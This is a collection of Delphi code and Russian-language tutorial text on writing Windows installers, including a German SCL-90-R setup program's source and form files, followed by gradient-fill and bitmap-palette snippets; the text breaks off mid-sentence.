if MessageDlg(CurPath + 'nicht vorhanden'+#13+
iif(ok=3,'Sollen die Verzeichnisse ', 'Soll das
Verzeichnis ') +
'angelegt werden?', mtConfirmation, [mbYes, mbNo]
, 0) = mrNo
then begin
Panel2.Show;
Dec(DialogNo);
if odd(Ok) then ProgrammpfadEdit.SetFocus
else DatenpfadEdit.SetFocus;
end else begin
MkDir(ProgrammpfadEdit.Text);
MkDir(DatenpfadEdit.Text);
DialogNo := 2;
ret := IOResult;
Ok := 0;
end;
end;
ChDir(CurPath);
if Ok = 0 then begin
Panel2.Hide;
Panel3.Show;
AuswerterEdit.SetFocus;
end;
end;
3: begin
Panel3.Hide;
Panel4.Show;
Invalidate;
Application.ProcessMessages;
ResultStr := ProgrammpfadEdit.Text;
if ResultStr[length(ResultStr)] <> '\\' then ResultStr := ResultStr
+ '\\';
StrPCopy(strIniPath, ResultStr + 'SCL90.INI');
WritePrivateProfileString('Passwort', 'Passwort', '=C1=C2=BF',
strIniPath);
StrPCopy(aResultStr, DatenpfadEdit.Text);
WritePrivateProfileString('Vorgaben', 'Datenpfad', aResultStr,
strIniPath);
StrPCopy(aResultStr, Inst1Edit.Text);
WritePrivateProfileString('Vorgaben', 'Inst1' , aResultStr,
strIniPath);
StrPCopy(aResultStr, Inst2Edit.Text);
WritePrivateProfileString('Vorgaben', 'Inst2' , aResultStr,
strIniPath);
StrPCopy(aResultStr, Inst3Edit.Text);
WritePrivateProfileString('Vorgaben', 'Inst3' , aResultStr,
strIniPath);
StrPCopy(aResultStr, AuswerterEdit.Text);
WritePrivateProfileString('Vorgaben', 'Auswerter', aResultStr,
strIniPath);
WritePrivateProfileString('Vorgaben', 'TWerte', '1', strIniPath);
fromHandle := LZOpenFile(LZProgName, fromStruct, OF_READ);
ResultStr := ProgrammpfadEdit.Text;
if ResultStr[length(ResultStr)] <> '\\' then ResultStr := ResultStr
+ '\\';
StrPCopy(aResultStr, ResultStr+ProgName);
toHandle := LZOpenFile(aResultStr, toStruct, OF_CREATE);
ok := LZCopy(fromHandle, toHandle);
if ok < 0 then begin
case ok of
LZERROR_BADINHANDLE : ResultStr := 'Das Handle, das die
Quelldatei bezeichnet, ist nicht g=B3ltig.';
LZERROR_BADOUTHANDLE : ResultStr := 'Das Handle, das die
Zieldatei bezeichnet, ist nicht g=B3ltig.';
LZERROR_BADVALUE : ResultStr := 'Der eingegebene Parameter
ist au=DFerhalb des erlaubten Bereichs.';
LZERROR_GLOBALLOC : ResultStr := 'F=B3r die ben=F7tigten
Puffer steht nicht gen=B3gend Speicher zu'+ 'Verf=B3gung.';
LZERROR_GLOBLOCK : ResultStr := 'Das Handle, das die
internen Datenstrukturen bezeichnet, ist nicht'+
'g=B3ltig.';
LZERROR_READ : ResultStr := 'Die Quelldatei hat ein
ung=B3ltiges Format.';
LZERROR_UNKNOWNALG : ResultStr := 'Die Quelldatei ist mi=
t einem unbekannten Algorithmus komprimiert worden.';
LZERROR_WRITE : ResultStr := 'Es steht nicht gen=B3=
gend Platz f=B3r die Ausgabedatei zur Verf=B3gung.';
end;
MessageDlg('Fehler beim Expandieren von SCL90.EXE:'+#13#13+
ResultStr, mtError, [mbOk], 0);
end else
begin
Panel4.Hide;
Ok := 0;
with DdeClientConv1 do begin
DDE_Link := FALSE;
DDE_LINK := SetLink('ProgMan','ProgMan');
if DDE_LINK = TRUE then
begin
OpenLink;
Macro := ' [CreateGroup ("SCL-90-Auswertung")]';
StrPCopy (aResultStr, Macro);
if not ExecuteMacro(aResultStr, False) then
MessageDlg('Programmgruppe konnte nicht eingerichtet
werden...',
mtInformation, [mbOK], 0) else
begin
Macro := ' [ShowGroup("SCL90AUS.GRP",1)]';
StrPCopy (aResultStr, Macro);
ExecuteMacro(aResultStr, False);
ResultStr := ProgrammpfadEdit.Text;
if ResultStr[length(ResultStr)] <> '\\'
then ResultStr := ResultStr + '\\'+ProgName;
Macro := ' [AddItem('+ResultStr+
', "SCL-90-Eingabe", )]';
StrPCopy (aResultStr, Macro);
if not ExecuteMacro(aResultStr, False) then
MessageDlg('Programm konnte nicht in Gruppe eingef=B3g=
t werden...',
mtInformation, [mbOK], 0) else
begin
Panel4.Hide;
Panel5.Show;
end;
end;
CloseLink;
end; { if DDE_LINK = TRUE }
end; { with DdeClientConv1 do }
end; { ok > 0 }
end { DialogNo = 3 }
else Close; { => end of program }
end; { of case }
end; { TForm1.BitBtn1Click }
end.
{ file setupscl.dfm }
object Form1: TForm1
Left = 200
Top = 99
Width = 435
Height = 300
Caption = 'Form1'
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'System'
Font.Style = []
PixelsPerInch = 96
TextHeight = 16
end
{ file setupsc1.dfm }
object Form1: TForm1
Left = -4
Top = -4
Width = 648
Height = 488
BorderIcons = []
Caption = 'Form1'
Color = clBlack
Font.Color = clBlack
Font.Height = -43
Font.Name = 'Arial'
Font.Style = [fsBold, fsItalic]
PixelsPerInch = 96
WindowState = wsMaximized
OnCreate = FormCreate
OnPaint = FormPaint
TextHeight = 49
object BitBtn1: TBitBtn
Left = 648
Top = 512
Width = 97
Height = 33
Caption = 'Weiter...'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 0
OnClick = BitBtn1Click
Kind = bkOK
end
object BitBtn2: TBitBtn
Left = 528
Top = 512
Width = 97
Height = 33
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 1
OnClick = BitBtn2Click
Kind = bkCancel
end
object Panel1: TPanel
Left = 128
Top = 112
Width = 400
Height = 217
TabOrder = 2
object Label1: TLabel
Left = 25
Top = 40
Width = 147
Height = 16
Caption = 'Herzlich Willkommen! '
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label3: TLabel
Left = 25
Top = 64
Width = 294
Height = 16
Caption = 'Dieses Setup-Programm richtet das SCL-90-R'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label4: TLabel
Left = 25
Top = 80
Width = 266
Height = 16
Caption = 'Eingabe- und Auswertungsprogramm auf '
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label5: TLabel
Left = 25
Top = 96
Width = 126
Height = 16
Caption = 'Ihrer Festplatte ein.'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label2: TLabel
Left = 25
Top = 120
Width = 337
Height = 16
Caption = 'Wenn Sie das Programm nicht installieren m=F7chten,'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label6: TLabel
Left = 25
Top = 136
Width = 265
Height = 16
Caption = 'k=F7nnen Sie den Vorgang jetzt abbrechen.'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label7: TLabel
Left = 25
Top = 160
Width = 341
Height = 16
Caption = 'Um fortzufahren dr=B3cken Sie bitte die Eingabetaste..=
.'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
end
object Panel3: TPanel
Left = 120
Top = 104
Width = 401
Height = 225
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = []
ParentFont = False
TabOrder = 4
Visible = False
object Label14: TLabel
Left = 16
Top = 22
Width = 64
Height = 16
Caption = 'Auswerter'
end
object Label15: TLabel
Left = 16
Top = 70
Width = 260
Height = 16
Caption = 'Bezeichnung der Institution (drei Zeilen)'
end
object AuswerterEdit: TEdit
Left = 16
Top = 40
Width = 177
Height = 24
TabOrder = 0
Text = 'AuswerterEdit'
end
object Inst1Edit: TEdit
Left = 16
Top = 88
Width = 345
Height = 24
TabOrder = 1
Text = 'Inst1Edit'
end
object Inst2Edit: TEdit
Left = 16
Top = 120
Width = 345
Height = 24
TabOrder = 2
Text = 'Inst2Edit'
end
object Inst3Edit: TEdit
Left = 16
Top = 152
Width = 345
Height = 24
TabOrder = 3
Text = 'Inst3Edit'
end
object CheckBox1: TCheckBox
Left = 16
Top = 184
Width = 161
Height = 17
Caption = 'Anzeige mit T-Werten'
TabOrder = 4
end
end
object Panel2: TPanel
Left = 128
Top = 112
Width = 401
Height = 185
TabOrder = 3
Visible = False
object Label8: TLabel
Left = 16
Top = 16
Width = 274
Height = 16
Caption = 'Bitte geben Sie das Programmverzeichnis'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label9: TLabel
Left = 16
Top = 32
Width = 198
Height = 16
Caption = 'und das Datenverzeichnis ein:'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label10: TLabel
Left = 16
Top = 68
Width = 71
Height = 16
Caption = 'Programm:'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label11: TLabel
Left = 16
Top = 100
Width = 42
Height = 16
Caption = 'Daten:'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object Label12: TLabel
Left = 14
Top = 136
Width = 341
Height = 16
Caption = 'Um fortzufahren dr=B3cken Sie bitte die Eingabetaste...'
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = [fsBold]
ParentFont = False
end
object ProgrammpfadEdit: TEdit
Left = 104
Top = 64
Width = 225
Height = 24
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = []
ParentFont = False
TabOrder = 0
Text = 'ProgrammpfadEdit'
end
object DatenpfadEdit: TEdit
Left = 104
Top = 96
Width = 225
Height = 24
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = []
ParentFont = False
TabOrder = 1
Text = 'DatenpfadEdit'
end
end
object Panel4: TPanel
Left = 152
Top = 160
Width = 337
Height = 113
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = []
ParentFont = False
TabOrder = 5
Visible = False
object Image1: TImage
Left = 256
Top = 40
Width = 33
Height = 33
Picture.Data = {
055449636F6E0000010001002020100000000000E80200001600000028000000
2000000040000000010004000000000080020000000000000000000000000000
0000000000000000000080000080000000808000800000008000800080800000
C0C0C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000
FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF333333FFFFFFFFFFFFFFFFF
FFFFFFFFFF33FF33FFFFF11FFFFFF1111FFFFFFFFFF3FFFFFFFFFFF115FF11FF
1155FFFFFFF33FFFFFFFFFFF115511F511F55FFFFFF33FFFFFFFFF11111511F5
11F55FFFFFF33FFFFFFFF11FF11511F511F55444FFF33FFFFFFFF11F511F1145
11F55FF4FFFF33FFFFF9911F5119119511F55FF4FFF3333FFFFFF11F51191199
11F55FF4FFFFFFFFFFFFFF111199511114F55FF4FFFFFFFFFFFF999995996699
55556666FFF3333FFFF99FF99F99449944F66FF6FF33FFF33FF99FF99F994499
64F66F56F33FFFFFFFF99FF99F99F69966F66556F33FFFFFFFF99FF99F996699
66566556F33FFFFFFFFF9999FFF9999566566556F333FFFFFFFFFF22FFFF6655
66566556FF33FFFF3FFFFFFF22FF665566566556FFF33FFF33FFFFFFF22FF666
62556666FFFFF333F3FFFFF222CCF255F2CCCC5FFFFFFFFFFFFFFF22FF22CC25
5CCFFCC5F3F333FFFFFFFF22AA22FCCFACCAFCCFF33FF33FFFFFFF22FFACCCCC
ACCAACC1FF3FF33FFFFFFF22FFCCA2CCACCAACCFFFFF333FFFFFFFF22ACCAACC
ACCAACCFFFFF33FFFFFFFFFFAACCAACCACCAACCFFFF33FFFFFFFFFFFAACCAACC
ACCAACCFFFF33FF3FFFFFFFFAAFCCCCAA1CCCCFFFFF33F33FFFFFFFFAAFFAA1A
A11AA1FFFFFF333F3FFFFFFFFAAAA11FAAAA11FFFFFFFFFFFFFFFFFFFFFFFF11
11FFF11100000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000}
end
object Label13: TLabel
Left = 24
Top = 24
Width = 117
Height = 16
Caption = 'Einrichtung l=F5uft...'
end
object Label16: TLabel
Left = 24
Top = 48
Width = 166
Height = 16
Caption = 'Erstellen von SCL90.INI...'
end
object Label17: TLabel
Left = 24
Top = 72
Width = 198
Height = 16
Caption = 'Kopieren der Programmdatei...'
end
end
object Panel5: TPanel
Left = 120
Top = 80
Width = 353
Height = 281
Font.Color = clBlack
Font.Height = -13
Font.Name = 'System'
Font.Style = []
ParentFont = False
TabOrder = 6
Visible = False
object Image2: TImage
Left = 24
Top = 16
Width = 33
Height = 33
Picture.Data =3D {
055449636F6E0000010001002020100000000000E80200001600000028000000
2000000040000000010004000000000080020000000000000000000000000000
0000000000000000000080000080000000808000800000008000800080800000
C0C0C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000
FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF333333FFFFFFFFFFFFFFFFF
FFFFFFFFFF33FF33FFFFF11FFFFFF1111FFFFFFFFFF3FFFFFFFFFFF115FF11FF
1155FFFFFFF33FFFFFFFFFFF115511F511F55FFFFFF33FFFFFFFFF11111511F5
11F55FFFFFF33FFFFFFFF11FF11511F511F55444FFF33FFFFFFFF11F511F1145
11F55FF4FFFF33FFFFF9911F5119119511F55FF4FFF3333FFFFFF11F51191199
11F55FF4FFFFFFFFFFFFFF111199511114F55FF4FFFFFFFFFFFF999995996699
55556666FFF3333FFFF99FF99F99449944F66FF6FF33FFF33FF99FF99F994499
64F66F56F33FFFFFFFF99FF99F99F69966F66556F33FFFFFFFF99FF99F996699
66566556F33FFFFFFFFF9999FFF9999566566556F333FFFFFFFFFF22FFFF6655
66566556FF33FFFF3FFFFFFF22FF665566566556FFF33FFF33FFFFFFF22FF666
62556666FFFFF333F3FFFFF222CCF255F2CCCC5FFFFFFFFFFFFFFF22FF22CC25
5CCFFCC5F3F333FFFFFFFF22AA22FCCFACCAFCCFF33FF33FFFFFFF22FFACCCCC
ACCAACC1FF3FF33FFFFFFF22FFCCA2CCACCAACCFFFFF333FFFFFFFF22ACCAACC
ACCAACCFFFFF33FFFFFFFFFFAACCAACCACCAACCFFFF33FFFFFFFFFFFAACCAACC
ACCAACCFFFF33FF3FFFFFFFFAAFCCCCAA1CCCCFFFFF33F33FFFFFFFFAAFFAA1A
A11AA1FFFFFF333F3FFFFFFFFAAAA11FAAAA11FFFFFFFFFFFFFFFFFFFFFFFF11
11FFF11100000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000}
end
object Label19: TLabel
Left = 24
Top = 64
Width = 256
Height = 16
Caption = 'Die Einrichtung des SCL-Programms ist'
end
object Label20: TLabel
Left = 24
Top = 80
Width = 103
Height = 16
Caption = 'abgeschlossen.'
end
object Label18: TLabel
Left = 24
Top = 112
Width = 294
Height = 16
Caption = 'Das SCL-Programm verwendet ein Passwort, '
end
object Label21: TLabel
Left = 24
Top = 240
Width = 260
Height = 16
Caption = 'Eingabetaste dr=B3cken, um zu beenden...'
end
object Label22: TLabel
Left = 24
Top = 128
Width = 254
Height = 16
Caption = 'um bestimmte Programmfunktionen zu '
end
object Label23: TLabel
Left = 24
Top = 144
Width = 63
Height = 16
Caption = 'sch=B3tzen.'
end
object Label24: TLabel
Left = 24
Top = 160
Width = 300
Height = 16
Caption = 'Dieses Passwort k=F7nnen Sie jederzeit =F5ndern.'
end
object Label25: TLabel
Left = 24
Top = 176
Width = 235
Height = 16
Caption = 'Das voreingestellte Passwort lautet:'
end
object Label26: TLabel
Left = 144
Top = 208
Width = 39
Height = 22
Caption = 'SCL'
Font.Color = clBlack
Font.Height = -19
Font.Name = 'Arial'
Font.Style = [fsBold]
ParentFont = False
end
end
object DdeClientConv1: TDdeClientConv
ServiceApplication = 'ProgMan'
ConnectMode = ddeManual
Left = 88
Top = 32
end
end
----------------------------------
Этапы инсталляции
Запомните одно важное правило: инсталлировать программу можно с человеческих носителей
(винчестеры, компакт-диски, ZIP-диски) и с дискет :) Если вы собираетесь написать инсталляцию с
дискет, которая явно не поместиться на одну дискету, то у вас есть шанс хорошо провести время :)
Как вы знаете, Windows сбрасывает ненужную ей в данный момент информацию на диск. Это правильно,
но это касается данных. Программы никогда на диск не сбрасываются, поскольку в Windows сегмент кода
программы не может быть изменён. Когда Windows нужна память и ей под руку подворачивается ваша программа,
она её просто выкидывает — и всё. Когда ваша программа снова становиться нужна, Windows снова загружает
её из выполняемого файла.
Эта в высшей степени корректная техника перестаёт работать при инсталляции с дискет. Ваша программа,
например, копирует четвёртую дискету и тут выясняется, что у неё (у программы) пропал кусок кода. Какие
проблемы? — Windows пытается прочитать файл a:\setup.exe и естественно его не находит (на четвёртой-то дискете? откуда?).
Только не паникуйте! Эта проблема давно решена, иначе вы не могли бы установить на свой компьютер ни
одной программы! Всё очень просто — программа инсталляции копирует себя и все необходимые файлы во
временный каталог на жёсткий диск и перезапускает себя с жёсткого диска. Это и есть первый этап инсталляции.
В зарубежных программах он обычно называется "Prepare to install". Ещё раз обратите внимание на то, что
совсем не обязательно выполнять этот этап, если вы инсталлируетесь не с дискет, или если ваша инсталляция
умещается на одну дискету.
На втором этапе программа инсталляции обычно показывает пользователю несколько страшных предупреждений;
что-то типа "если вы не заплатите за эту программу, то сидеть вам в тюрьме три пожизненных срока".
Я слышал, что некоторые пользователи со слабым сердецем даже умирали за компьютером от таких угроз :)
Реализация этого этапа до идиотизма тривиальна, поэтому мы и не будем на нём останавливаться подробно.
Следущий этап — третий. Здесь программа установки дотошно выспрашивает у пользователя кучу всяких важных
данных: имя пользователя и его огранизацию, тип установки, куда будем ставить, как будет называться группа
программ и так далее. На этом этапе нам встретятся некоторые технические трудности, но их несложно обойти.
Четвёртый этап — копирование. Конечно, это не очень сложно, но некоторые проблемы у нас всё-таки возникнут.
Во-первых, надо проверить наличие свободного места на целевом диске. Во-вторых, надо удостовериться, что у
нас есть доступ к нужному каталогу. В-третьих, надо проверять, нет ли уже такого файла... Вы ещё не передумали
писать программу инсталляции?
Следующий, пятый, этап — настройка системного реестра (registry). Достаточно тривиальная процедура, правда,
при инсталляции большого продукта, записывать придёться очень много.
Предпоследний, шестой, этап, заключается в создании группы программ в меню "Пуск". Или, возможно, вы захотите
вынести ярлык на рабочий стол.
Наконец, финальная часть включает демонстрацию нескольких файлов (например, readme), затем онлайновую регистрацию
(подробно на ней я останавливаться не буду) и последнее сообщение "Инсталляция успешно завершена".
Теперь мы можем перейти к подробному рассмотрению этапов. Сейчас вы узнаете, как это делается :)
Копирование программы во временный каталог
program Setup;
uses
Windows,
SysUtils;
const
ReRunParameter = '/install_from_temp_directory';
var
TempPath: array [0..MAX_PATH] of Char;
SrcPath: String;
begin
if ParamStr(1) = ReRunParameter then
SrcPath := ParamStr(2)
else
if GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then
begin
// Если программа была запущена без ключа и с дискеты, то
// копируем е? во временный каталог и перезапускам
// Текущее приложение завершаем.
GetTempPath(MAX_PATH, TempPath);
// Добавлям к пути временного каталога символ '\', если его там нет
if (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then
StrCat(TempPath, '\');
// Копируем файл через вызов функции CopyFile из WinAPI
CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) +
ExtractFileName(ParamStr(0))), False);
// Запускаем файл с двумя параметрами
WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' +
ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow);
Exit;
end
else
SrcPath := ExtractFilePath(ParamStr(0));
// Здесь начинается программа инсталляции
// Переменная SrcPath показывает нам, откуда надо копировать файлы
end.
Есть две грабли, на которые можно наступить в приведённом примере. Первые лежат в вызове функции GetTempPath.
Если у вас нет переменных окружения TMP и TEMP, то временным каталогом станет текущий каталог программы, то есть,
фактически, ваша дискета.
Вы можете проверять, не находится ли временный каталог на сменном диске (с помощью вызова GetDriveType), и,
если находиться, считать временным каталогом C:\TEMP (если его нет — создайте самостоятельно).
Вторые грабли заключаются в том, что после завершения инсталляции программу из временного каталога желательно
удалить, но сделать этого вы не сможете, поскольку программа в этот момент выполняется. Вспомните, что в
Windows 95 и Windows NT выполняющуся программу удалять нельзя
В общем случае, решения этой проблемы я не знаю. Собственно, поскольку файл останется во временном каталоге,
он будет одним из первых кандидатов на удаление (если пользователь хоть когда-нибудь чистит свой временный
каталог :) Тем не менее, есть один хитрый способ удаления этого файла, о котором я расскажу ниже, в параграфе
о деинсталляции.
Примечание: Если для вас важен размер вашей инсталляции, вы можете взять только тот кусочек, который приведён
выше, и сделать из него отдельную программу (которая будет очень небольшого объёма). Саму программу инсталляции
вы предварительно сжимаете, а перед запуском распаковываете её во временный каталог (а не копируете, как это
сделано здесь). Обратите внимание, что в этом случае программа должна распаковываться в любом случае, а не только
если она запущена с дискеты.
Запугивание пользователя законами об авторских правах
Да, есть и такой этап. Если вам всё равно придётся вывести небольшое окно и поставить пользователя в известность
о том, что вы не отвечаете за все неприятности, которые могут с ним произойти во время использования вашей программы.
Как это делается? Если вы не знаете, как сделать диалоговое окно, то, по моему, вам ещё рано писать инсталляции.
Если знаете, то выведите окно и поместите в нём нужный текст.
Как получить важные системные данные
На четвёртом этапе нам потребуются некоторые системные данные: имя пользователя и организация, путь, куда потребуется
инсталлировать программу и некоторые другие. Сейчас мы разберёмся, как и откуда эти данные можно получить.
Имя пользователя и организация
Во время инсталляции, программы иногда запрашивают имя пользователя и его организацию. Возможно, для работы вашей
программы эти данные не понадобятся, но если они вам нужны, вы должны их запросить. Как правило, программа инсталляции
берёт эти данные из Windows (поскольку при установке Windows пользователь их уже вводил) и просит всего лишь изменить
их, если это необходимо. Наш вопрос звучит так: где Windows хранит имя пользователя и организацию? Я, правду сказать,
не знаю. Но, пробежавшись по реестру, я обнаружил всего лишь два подходящих места, содержащих эту информацию.
HKEY_LOCAL_MACHINE\Software\Microsoft NT\Windows\CurrentVersion\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RegisteredOwner = 'Имя'
RegisteredOrganization = 'Организация'
В доступной мне версии Windows 95, эти значения хранятся в ветке HKEY_LOCAL_MACHINE, а в Windows NT — HKEY_CURRENT_USER
(в подветках Windows или Windows NT). Поскольку в этом вопросе нет ясности :) я предлагаю проверять обе ветки. Версию
операционной системы можно узнать с помощью функции GetVersionEx.
Куда копировать программу:
Можно сформулировать наш вопрос и по другому: где находиться каталог Program Files? Некоторые инсталляции считают,
что это C:\Program Files. В действительности, конечно, он может находиться на другом диске, поэтому мы попробуем
поискать его по другому... в реестре.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ ProgramFilesDir = 'D:\Program Files'
Можно воспользоваться функцией SHGetSpecialFolderLocation (это даже более корректно с точки зрения Microsoft).
Пример использования этой функции вы обнаружите несколькими файлами позже. Для изменения каталога вы можете вызывать
функции SelectDirectory или SHBrowseForFolder. Можно также создать собственное окно диалога "Выбор каталога" с помощью
компонента DirectoryListBox. Подробнее о выборе каталога мы поговорим позднее, когда будем рассматривать тонкости
процесса инсталляции.
Сколько осталось свободного места на диске
Программа инсталляции перед копированием файлов обязана проверить, сколько на целевом диске осталось свободного
дискового пространства. Это делается при помощью функции GetDiskFreeSpace (из модуля Windows) или функции DiskFree
(из модуля SysUtils). Вторая функция — это надстройка Delphi над Win API (в смысле, она вызывает GetDiskFreeSpace),
но у неё значительно меньше параметров.
Группы программ
Обычно программа инсталляции создаёт для новой программы новую группу. Как правило, когда вы вводите название группы,
рядом присутствует список, в котром перечислены все существующие группы. Получить такой список можно двумя способами.
Один из них — работа с DDE-сервером, который называется Program Manager. Этот способ мы подробно рассмотрим чуть позже.
Второй способ не очень сложен и основан на том факте, что всё меню "Программы" находиться в одном из каталогов вашего диска.
Все подменю являются на самом деле подкаталогами, а пукнты — обычными ссылками (файлами с расширением .lnk).
Путь к папке, содержащей меню "Программы", вы можете найти в реестре:
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Shell Folders\
Programs = 'D:\WINNT\Profiles\mark\Главное меню\Программы' Не очень сложно прочитать содержимое этого каталога
с помощью функций FindFirst/FindNext. Ниже мы и об этом поговорим подробнее, поскольку чтение содержимого каталогов
потребуется нам при написании универсальной процедуры копирования файлов.
-----------------------------------------
Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл
называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа
переименовывает себя и перестает быть инсталлятором.
Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then
// форма инсталлятора
Application.CreateForm(TSetupForm, SetupForm)
else
// форма основной программы
Application.CreateForm(TMainForm, MainForm);
Application.Run;
Вполне очевидно, что вместо переименования можно запускать программу с различными ключами,
например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект
состоит из одного файла
Процедура GradientRect делает градиентную заливку (сверху в низ). Параметры: цвета [от и до] и объект Canvas,
поверхность которого и будет закрашена
procedure TForm1.GradientRect (FromRGB, ToRGB: TColor; Canvas: TCanvas);
var
RGBFrom : array[0..2] of Byte; { from RGB values }
RGBDiff : array[0..2] of integer; { difference of from/to RGB values }
ColorBand : TRect; { color band rectangular coordinates }
I : Integer; { color band index }
R : Byte; { a color band's R value }
G : Byte; { a color band's G value }
B : Byte; { a color band's B value }
begin
{ extract from RGB values}
RGBFrom[0] := GetRValue (ColorToRGB (FromRGB));
RGBFrom[1] := GetGValue (ColorToRGB (FromRGB));
RGBFrom[2] := GetBValue (ColorToRGB (FromRGB));
{ calculate difference of from and to RGB values}
RGBDiff[0] := GetRValue (ColorToRGB (ToRGB)) - RGBFrom[0];
RGBDiff[1] := GetGValue (ColorToRGB (ToRGB)) - RGBFrom[1];
RGBDiff[2] := GetBValue (ColorToRGB (ToRGB)) - RGBFrom[2];
{ set pen sytle and mode}
Canvas.Pen.Style := psSolid;
Canvas.Pen.Mode := pmCopy;
{ set color band's left and right coordinates}
ColorBand.Left := 0;
ColorBand.Right:= canvas.ClipRect.Right-Canvas.ClipRect.Left;
for I := 0 to $ff do
begin
{ calculate color band's top and bottom coordinates}
ColorBand.Top := MulDiv (I , canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
ColorBand.Bottom := MulDiv (I + 1,canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
{ calculate color band color}
R := RGBFrom[0] + MulDiv (I, RGBDiff[0], $ff);
G := RGBFrom[1] + MulDiv (I, RGBDiff[1], $ff);
B := RGBFrom[2] + MulDiv (I, RGBDiff[2], $ff);
{ select brush and paint color band}
Canvas.Brush.Color := RGB (R, G, B);
Canvas.FillRect (ColorBand);
end;
end;
Эту процедуру объявляем в публичных объявлениях:
public
{ Public declarations }
procedure GradientRect(FromRGB, ToRGB: TColor; Canvas: TCanvas);
Для закраски формы в обработчик формы OnPaint нужно вставить:
GradientRect (clBlue, clBlack, Canvas);
По событию OnResize для формы напишем:
Paint;
unit bmpformu;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TBmpForm = class(TForm)
Button1: TButton;
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
Bitmap: TBitmap;
procedure ScrambleBitmap;
procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;
var
BmpForm: TBmpForm;
implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('bor6.bmp');
end;
procedure TBmpForm.FormDestroy(Sender: TObject);
begin
Bitmap.Free;
end;
// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
m.Result := LRESULT(False);
end;
procedure TBmpForm.FormPaint(Sender: TObject);
var
x, y: Integer;
begin
y := 0;
while y < Height do
begin
x := 0;
while x < Width do
begin
Canvas.Draw(x, y, Bitmap);
x := x + Bitmap.Width;
end;
y := y + Bitmap.Height;
end;
end;
procedure TBmpForm.Button1Click(Sender: TObject);
begin
ScrambleBitmap; Invalidate;
end;
// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
pal: PLogPalette;
hpal: HPALETTE;
i: Integer;
begin
pal := nil;
try
GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
pal.palVersion := $300;
pal.palNumEntries := 256;
for i := 0 to 255 do
begin
pal.palPalEntry[i].peRed := Random(255);
pal.palPalEntry[i].peGreen := Random(255);
pal.palPalEntry[i].peBlue := Random(255);
end;
hpal := CreatePalette(pal^);
if hpal <> 0 then
Bitmap.Palette := hpal;
finally
FreeMem(pal);
end;
end;
end.
-----------------------------------
form1.brush.bitmap:=image1.picture.bitmap;
Всё, что нам нужно, это HRGN и дескриптор (handle) элемента управления. SetWindowRgn имеет три параметра: дескриптор
